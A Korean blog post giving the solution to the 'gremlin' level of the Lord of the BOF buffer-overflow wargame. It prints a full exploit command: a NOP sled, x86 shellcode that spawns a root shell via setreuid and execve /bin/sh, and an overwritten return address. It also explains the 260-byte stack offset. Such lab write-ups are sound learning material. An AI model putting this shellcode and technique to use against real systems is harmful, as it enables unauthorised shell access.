티스토리 뷰


해답 : 

./gremlin `perl -e 'print "\x90"x199, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68", "\x18\xf9\xff\xbf"';`



해답은 크게 세 파트로 나누어집니다. 

먼저 \x90 x 199 부분 , 쉘코드 부분, 그리고 주소 값을 넣는 부분입니다.
199 개의 90과 쉘코드를 더하면 딱 260개의 바이트를 소모하는 것을 알 수 있습니다.

왜냐하면 256바이트의 버퍼에 SPF (4바이트 스택 프레임을 구글링하시면 알 수 있음) 를 더한 260 바이트 바로 뒤에 리턴주소 부분이 나오기 때문입니다.  





총 256개의 90을 넣어보면 0xbfff 부분 그리고 리턴 주소인 400309cb가 남아있는 것을 알 수 있습니다. 






'문제풀이 > bof원정대' 카테고리의 다른 글

bof 원정대 wolfman -> darkelf  (0) 2016.08.15
bof 원정대 orc -> wolfman  (0) 2016.08.15
bof 원정대 goblin -> orc  (0) 2016.08.15
bof원정대 gremlin -> cobolt  (0) 2016.08.15
BOF 기본  (0) 2016.08.14
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함